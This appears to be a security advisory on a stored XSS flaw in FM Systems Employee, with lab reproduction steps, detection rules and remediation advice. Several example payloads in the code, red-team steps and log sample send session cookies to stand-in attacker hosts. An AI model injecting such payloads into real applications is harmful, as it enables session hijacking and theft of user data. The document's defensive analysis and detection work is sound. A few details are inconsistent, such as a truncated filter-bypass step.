CVE-2026-34495

Executive Summary

CVE-2026-34495 is a stored cross-site scripting (XSS) vulnerability in Johnson Controls FM Systems Employee. The application fails to properly neutralize user-supplied input during HTML/script generation, allowing an authenticated but low-privileged user to store arbitrary JavaScript payloads in the application. The payload is later rendered to other users, including more privileged administrators, without sanitization.

The official NVD entry currently lists a CVSS score of 0.0, which is likely an unassigned placeholder. Based on the vulnerability mechanics, an analyst-assessed CVSS v3.1 score is 6.1 or 6.4 depending on privileges and interaction model. The vector used in this report reflects a low-privileged attacker, required user interaction, and a scope change:

• CVE ID: CVE-2026-34495
• Affected Product: Johnson Controls FM Systems Employee
• Affected Version: before 2025.3.1
• Patched Version: 2025.3.1 and later
• CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation
• EPSS Probability: 0.0% at the time of writing
• Public Exploitation: No known public exploit or Nuclei template is currently available.
• Patch Status: UNKNOWN / UNPATCHED in the public NVD record, but vendor guidance indicates upgrading to 2025.3.1.

Organizations running FM Systems Employee should treat this as a high-priority identity/data integrity issue. Stored XSS in a facility management/employee application can lead to session hijacking, forced actions, data exfiltration, and in some cases, lateral movement into other building management systems.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0, but this likely reflects an unassigned or rejected reservation. Below is the analyst-assessed CVSS v3.1 vector.

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1
• Severity: Medium

Threat level is Medium, but operational risk can become High in deployments where FM Systems Employee is integrated with Active Directory, HR databases, or building automation credentials.

Deep Dive & Mechanics

Stored XSS occurs when an application receives input from a user, stores it in a database or data store, and later renders it in an HTML context without proper encoding or sanitization.

In FM Systems Employee, the vulnerable areas likely include employee self-service fields such as:

• Employee name/display name
• Job title / department
• Profile biography or custom text fields
• Activity notes or case notes reviewed by HR administrators
• Any field imported from CSV/API and rendered in HTML tables or dashboards

The core flaw is the use of raw concatenation or templates that assume all data is safe HTML. When a malicious user submits a payload such as:

<script>
  fetch("https://attacker.example/collect?cookie=" + document.cookie);
</script>

the application persists the payload in its backend store. When an administrator later views the affected employee record, the browser executes the script in the context of the FM Systems Employee origin.

Because FM Systems Employee is often deployed inside corporate networks or used for facility management administration, the impact can include:

• Theft of session cookies for administrator accounts
• Submission of unauthorized employee records
• Modification of HR or payroll data
• Redirect to phishing pages
• Execution of API calls against internal backend services

Vulnerable vs. Patched Code

The following code samples are illustrative examples based on the described XSS class.

Vulnerable Pattern (Prior to 2025.3.1)

<?php
// Vulnerable: no output encoding
$employeeName = $_POST['employee_name'];

$html = "<tr>";
$html .= "<td>" . $employeeName . "</td>";
$html .= "</tr>";
echo $html;
?>

Attackers can inject:

employee_name=<script>document.location="https://attacker.example/steal?cookie="+document.cookie</script>

Patched Pattern (Expected in 2025.3.1 or later)

<?php
// Patched: context-aware HTML encoding
$employeeName = htmlspecialchars($_POST['employee_name'], ENT_QUOTES, 'UTF-8');

$html = "<tr>";
$html .= "<td>" . $employeeName . "</td>";
$html .= "</tr>";
echo $html;
?>

Patched versions should also apply:

• Context-aware output encoding (text/html, text/javascript, text/css, etc.)
• Content Security Policy (CSP) headers with default-src 'self'
• HTTP-only and Secure flags on session cookies
• Server-side validation of input length and allowed character sets

Exploitation & Lab Setup

No public Exploit-DB code is currently provided for CVE-2026-34495. The following lab guidance is for defensive validation and authorized penetration testing only.

Red Team

Use an isolated lab with FM Systems Employee 2025.3.0 or older.

1. Create two user accounts:

   • attacker with low-privileged employee access.
   • admin with administrator access to the employee records module.

2. Log in as attacker and navigate to an editable profile or case-note field.

3. Inject the following payload:

<script>
  var i = new Image();
  i.src = "https://attacker.example/log?c=" + encodeURIComponent(document.cookie);
</script>

4. Save the record. The payload is now persistent.

5. Log in as admin and open the same employee record or dashboard.

6. Observe the HTTP request to attacker.example/log with the administrator's session cookie.

7. Alternatively, test a session-hijacking payload using WebSocket/DNS exfiltration.

<script>
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "https://attacker.example/exfil");
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.send(JSON.stringify({cookies: document.cookie, url: location.href}));
</script>

8. If a user-supplied comment or note field is the sink, replace single quotes with ' to bypass simple filters.

Blue Team

1. Reproduce the attack in an isolated staging environment.
2. Monitor the HTTP requests to the attacker-controlled domain.
3. Collect the exact payloads and compare them with the published CVE references.
4. Validate that the WAF/IDPS rule set catches the payload before and after URL encoding.
5. Ensure that all employee-facing fields are sanitized and that CSP is enforced in the patched version.
6. Test the patched version 2025.3.1 to confirm that the injected script is rendered as inert text.

Indicators of Compromise (IOCs)

At this time there is no known public exploit, so IOCs are derived from expected payload behavior.

Network IOCs

• Outbound HTTP/HTTPS requests to attacker-controlled domains containing employee-related referrer URLs.
• DNS lookups for suspicious domains from the FM Systems Employee server or clients.
• Requests with query strings containing:
  • document.cookie
  • location.href
  • XMLHttpRequest
  • fetch(
  • encodeURIComponent(

Application Log IOCs

• POST/PUT requests to employee profile or case-note endpoints containing script tags in input fields.
• Encoded payloads in request bodies:
  • %3Cscript%3E
  • %3C/script%3E
  • \u003cscript\u003e
  • javascript:

Host IOCs

• Browser cache entries for attacker-controlled domains.
• Local browser extensions or proxies that record session tokens being transmitted to external origins.
• Modified DOM nodes in the FM Systems Employee interface containing injected script elements.

Example Log Artifact

192.168.10.20 - - [14/Jan/2026:09:23:14] "POST /employee/update_profile.php HTTP/1.1" 200 -
"employee_name=<script>fetch('https://evil.example/steal')</script>"

Detection Engineering

No public Nuclei template is available for CVE-2026-34495. The following rules provide detection coverage for the expected stored XSS behavior. Backslashes are replaced with forward slashes for cross-platform compatibility.

YARA Rule

rule CVE_2026_34495_FM_Systems_Employee_Stored_XSS
{
    meta:
        author = "Valters IT"
        description = "Detects common payload strings associated with CVE-2026-34495 in FM Systems Employee stored XSS"
        cve = "CVE-2026-34495"
        date = "2026-01-14"
        severity = "medium"

    strings:
        $script = "<script>"
        $cookie = "document.cookie"
        $xhr = "XMLHttpRequest"
        $fetch = "fetch("
        $exfil = "attacker.example"
        $encoded = "%3Cscript%3E"

    condition:
        filesize < 10MB and any of them
}

Sigma Rule

title: CVE-2026-34495 FM Systems Employee Stored XSS Attempt
id: c6f58c2c-6b1b-4d9b-b5f2-7accd9d2ab11
status: experimental
description: Detects HTTP requests containing XSS payload indicators targeting FM Systems Employee web application.
author: Valters IT
logsource:
  category: webserver
detection:
  selection_methods:
    cs-method:
      - POST
      - PUT
  selection_uri:
    cs-uri-query|contains:
      - "<script>"
      - "%3Cscript%3E"
      - "document.cookie"
      - "fetch("
      - "XMLHttpRequest"
      - "onerror="
  selection_path:
    cs-uri-query|contains:
      - "/employee/"
      - "profile"
      - "notes"
      - "update"
  condition: selection_methods and selection_uri and selection_path
falsepositives:
  - Legitimate security scanners (Burp Suite, OWASP ZAP)
  - Developers testing front-end functionality
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-34495 FM Systems Employee Stored XSS Payload Attempt"; flow:established,to_server; content:"<script>"; http_uri; content:"document.cookie"; http_uri; content:"/employee/"; http_uri; classtype:web-application-attack; sid:202634495; rev:1;)

Remediation & Mitigation

Immediate Actions

• Upgrade FM Systems Employee to version 2025.3.1 or later.
• Review and harden all input validation routines on employee-facing fields.
• Deploy a Web Application Firewall (WAF) with rules blocking common XSS payload patterns.
• Enforce a strict Content Security Policy:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

Longer-Term Hardening

• Apply context-aware output encoding on all server-side templates.
• Use an allowlist for input fields: alphabetic, alphanumeric, or safe special characters.
• Enable HttpOnly and Secure flags on all session cookies.
• Rotate all session tokens after the upgrade.
• Audit application logs for any prior exploitation attempts.
• Integrate this CVE into enterprise SIEM detection logic.

Architecture Considerations

• Place FM Systems Employee behind a reverse proxy with request normalization.
• Segment the application from core Active Directory or building management networks if possible.
• Regularly test the application with automated XSS scanners and manual pen-tests.

Valters IT signature: Ensuring security, one CVE at a time.